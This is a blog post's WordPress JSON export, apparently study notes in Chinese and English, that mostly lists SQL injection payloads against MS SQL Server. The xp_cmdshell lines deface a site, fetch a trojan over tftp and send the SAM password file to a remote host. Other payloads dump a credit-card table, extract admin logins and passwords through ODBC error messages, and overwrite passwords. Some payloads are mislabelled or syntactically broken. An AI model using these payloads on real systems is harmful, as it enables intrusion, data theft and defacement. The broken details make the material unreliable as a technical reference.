{"id":445,"date":"2020-08-03T22:27:00","date_gmt":"2020-08-03T14:27:00","guid":{"rendered":"http:\/\/note.systw.net\/note\/?p=445"},"modified":"2024-02-17T20:21:13","modified_gmt":"2024-02-17T12:21:13","slug":"sql-injection-example-for-windows","status":"publish","type":"post","link":"https:\/\/systw.net\/note\/archives\/445","title":{"rendered":"SQL injection example for windows"},"content":{"rendered":"\n<p><strong>using sql server stored procedures<\/strong><\/p>\n\n\n\n<p>&#8230;<\/p>\n\n\n\n<p><strong>executing operating system commands<\/strong><br>\u4f7f\u7528stored procedures such as master..xp_cmdshell<br>\u8a9e\u6cd5\u5982\u4e0b<br><code>blah' ; exec master..xp_cmdshell \"insert os command\"<\/code><br>ps:\u82e5single quote\u7121\u6cd5\u904b\u4f5c\u53ef\u4f7f\u7528double quote<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ex:\nping a server\nblah' ; exec master..xp_cmdshell \"ping 10.1.2.3\" --\nlist the directory file\nblah' ; exec master..xp_cmdshell \"dir c:*.*\/s > c:\\directory.txt\" --\ncreate a file\nblah' ; exec master..xp_cmdshell \"echo hello > c:\\hello.txt\" --\ndefacing a web page\nblah' ; exec master..xp_cmdshell \"echo you-are-defaced > c:\\inetpub\\www\\root\\index.htm\" --\nexecute non-gui applications\nblah' ; exec master..xp_cmdshell \"cmd.exe \/c appname.exe\" --\nupload a trojan to the server\nblah' ; exec master..xp_cmdshell \"tftp -i 10.1.2.3 GET trojan.exe c:\\trojan.exe\" --\ndownload a trojan to the server\nblah' ; exec master..xp_cmdshell \"tftp -i 10.1.2.1 PUT c:\\winnt\\repair\\SAM SAM\" --<\/code><\/pre>\n\n\n\n<p><br>&#8230;..<\/p>\n\n\n\n<p><strong>use sp_makewebtask to write a query into an html<\/strong><br>sp_makewebtask\u662fSQL Server \u5305\u542b\u4e00\u500bstored procedures<br>\u662f\u7528\u4f86\u5f97\u5230WebShell\u7684\uff0c\u4e3b\u8981\u529f\u80fd\u5c31\u662f\u5c0e\u51fa\u8cc7\u6599\u5eab\u4e2d\u8868\u7684\u8a18\u9304\u70ba\u6a94<br>\u8a9e\u6cd5\u5982\u4e0b:<br><code>blah' ; exec master..sp_makewebtask \"webpage\",\"sql command\"<\/code><br>ex:<br>\u8f38\u51facreditcard table\u5230\u7db2\u9801<br><code>blah' ; exec master..sp_makewebtask \"\\\\10.10.1.4\\share\\creditcard.html\",\"select * from creditcard\"<\/code><\/p>\n\n\n\n<p>&#8230;..<\/p>\n\n\n\n<p><strong>getting data from the database using odbc error message<\/strong><br>\u4f7f\u7528\u7279\u6b8a\u7684sql query\u8feb\u4f7fMS SQL SERVER\u5f9e\u8fd4\u56de\u7684message\u4e2d\u5f97\u5230\u9700\u8981\u7684\u8cc7\u6599,\u5982table name,column name<\/p>\n\n\n\n<p><strong>using UNION\u5b50\u53e5<\/strong><br>\u8a9e\u6cd5\u5927\u81f4\u5982\u4e0b<br><code>http:\/\/web\/page.asp?var=value \"UNION subquery\"<\/code><br>\u7cfb\u7d71\u6703\u7522\u751ferror message,\u4e26\u6839\u64daUNION subquery\u900f\u9732\u76f8\u95dc\u8cc7\u8a0a<br>\u64cd\u4f5c\u5927\u81f4\u5982\u4e0b<br><code>http:\/\/www.web.com\/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEM.TABLES-<\/code><br>when the user UNIONS this string value to an integer 10,sql server makes an effort to convert a string(nvarchar)to an integer,thus it produces an error,since converting nvarchar to int is not possible.the server display the error<br>\u4f7f\u7528UNION\u5b50\u53e5\u5c07\u8acb\u6c42string value\u52a0\u5165integer 10,SQL SERVER\u6703\u5617\u8a66\u8f49\u63db\u8a72string\u70bainteger<br>\u82e5\u7121\u6cd5\u628a\u5b57\u7b26\u4e32(nvarchar)\u8f49\u70ba\u6574\u6578\u578b(int)\u6642\uff0c\u7cfb\u7d71\u5c31\u6703\u7522\u751f\u932f\u8aa4<br>\u7cfb\u7d71\u7522\u751f\u4ee5\u4e0b\u7684error message<br><code>Microsoft OLE DB Provider for ODBC Drivers error '80040e07'<br>[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.<br>\/index.asp, line 5<\/code><br>\u6b64error message\u900f\u9732\u51fa\u7b2c\u4e00\u500btable name\u70batable1<\/p>\n\n\n\n<p><br>UNION subquery\u7bc4\u4f8b:<\/p>\n\n\n\n<p><strong>\u8b93\u7cfb\u7d71\u5728\u900f\u9732\u51fa\u7b2c\u4e8c\u500btable name<\/strong><br><code>UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEM.TABLES WHERE TABLE_NAME NOT IN('table1')--<\/code><br>\u7cfb\u7d71\u8f38\u51faerror message\u82e5\u51fa\u73fe&#8230;the nvarchar value &#8216;admin_name&#8217; to a column &#8230; ,\u8868\u793atable name\u70baadmin_name<\/p>\n\n\n\n<p><strong>\u4f7f\u7528like\u57f7\u884c\u4ee5\u4e0b\u8a9e\u6cd5\u53ef\u8b93\u7cfb\u7d71\u900f\u9732\u51fa\u542b login\u7684\u7b2c\u4e00\u500btable name<\/strong><br><code>UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEM.TABLES WHERE TABLE_NAME like '%25LOGIN%25'--<\/code><br>\u7cfb\u7d71\u8f38\u51fa error message\u82e5\u51fa\u73fe&#8230;the nvarchar value &#8216;admin_login&#8217; to a column&#8230; ,\u8868\u793atable name\u70baadmin_login<\/p>\n\n\n\n<p><strong>\u8b93\u7cfb\u7d71\u900f\u9732\u51faadmin_login\u7684\u7b2c\u4e00\u500bcolumn<\/strong><br><code>UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--<\/code><br>\u7cfb\u7d71\u8f38\u51faerror message\u82e5\u51fa\u73fe&#8230;the nvarchar value &#8216;login_id&#8217; to a column &#8230;,\u8868\u793acolumn name\u70balogin_id<\/p>\n\n\n\n<p><strong>\u8b93\u7cfb\u7d71\u900f\u9732\u51fa admin_login\u7684\u7b2c\u4e8c\u500bcolumn<\/strong><br><code>UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN('login_id')--<\/code><br>\u7cfb\u7d71\u8f38\u51faerror message\u82e5\u51fa\u73fe&#8230;the nvarchar value &#8216;login_name&#8217; to a column &#8230;,\u8868\u793acolumn name\u70balogin_name<\/p>\n\n\n\n<p><strong>\u8b93\u7cfb\u7d71\u900f\u9732\u51faadmin_login\u8cc7\u6599\u8868\u7684login_name\u7684\u7b2c\u4e00\u500b\u503c<\/strong><br><code>UNION SELECT TOP 1 login_name FROM admin_login --<\/code><br>\u7cfb\u7d71\u8f38\u51faerror message\u82e5\u51fa\u73fe&#8230;the nvarchar value &#8216;ray&#8217; to a column &#8230;,\u8868\u793alogin_name\u7b2c\u4e00\u500b\u503c\u70baray<\/p>\n\n\n\n<p><strong>\u8b93\u7cfb\u7d71\u900f\u9732\u51faadmin_login\u8cc7\u6599\u8868\u7684 password\u7684\u503c,\u4e14login_name\u70baray<\/strong><br><code>UNION SELECT TOP 1 password FROM admin_login where login_name='ray'--<\/code><br>\u7cfb\u7d71\u8f38\u51faerror message\u82e5\u51fa\u73fe&#8230;the nvarchar value &#8216;ixtr3n&#8217; to a column &#8230;,\u8868\u793aray\u7684password\u70baixtr3n<\/p>\n\n\n\n<p><br>ps:<br>INFORMATION_SCHEM.TABLES: contains information about all tables in the server<br>&#8230;..<\/p>\n\n\n\n<p><strong>update\/insert date into database<\/strong><br>\u8a9e\u6cd5\u5927\u81f4\u5982\u4e0b<br><code>http:\/\/web\/page.asp?var=value;\"update or insert sql query\"<\/code><br>ex:<br><code>http:\/\/www.web.com\/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'goodjob' WHERE login_name='ray' --<br>http:\/\/www.web.com\/index.asp?id=10; INSERT INTO 'admin_login' ('login_id','loain_name','password') VALUES(123,'ray','goodjob') -<\/code>&#8211;<\/p>\n\n\n\n<p>&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;..<\/p>\n\n\n\n<p><strong>attacking sql servers<\/strong><br>\u65b9\u6cd5\u6709<br>SSRS<br>Osql-l probe<br>sc.exe<br>port scanning<br>use of commercial alternatives<\/p>\n\n\n\n<p>&#8230;<\/p>\n\n\n\n<p><strong>SSRS(sql server resolution service)<\/strong><br>the service is responsible for sending a response packet containing the connection details of clients who send a specially formed request<br>the packet contains the details necessary to connect to the desired instance,including the tcp port<br>\u4f7f\u7528udp 1434<\/p>\n\n\n\n<p><strong>SSRS buffer overflow vulnerabilities:<\/strong><br>allow remote attackers to overwrite portions of system&#8217;s memory and execute arbitrary codes<\/p>\n\n\n\n<p>&#8230;<\/p>\n\n\n\n<p><strong>Osql-l probe<\/strong><br>a command-line utility provided by microsoft with sql server 2000<br>allow the user to issue queries to the server<br>\u7528\u9014:list servers<\/p>\n\n\n\n<p>&#8230;<\/p>\n\n\n\n<p><strong>sc.exe<\/strong><br>the server controller command makes it possible to query servers to see if they are offering sql server services<br>\u7528\u9014:sweeping of services,\u67e5\u8a62\u5c0d\u65b9\u662f\u5426\u70basql server<\/p>\n","protected":false},"excerpt":{"rendered":"<p>using sql server stored proced &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"","fifu_image_alt":"","_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[38],"tags":[],"class_list":["post-445","post","type-post","status-publish","format-standard","hentry","category-serverside"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/445","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/comments?post=445"}],"version-history":[{"count":0,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/445\/revisions"}],"wp:attachment":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/media?parent=445"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/categories?post=445"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/tags?post=445"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}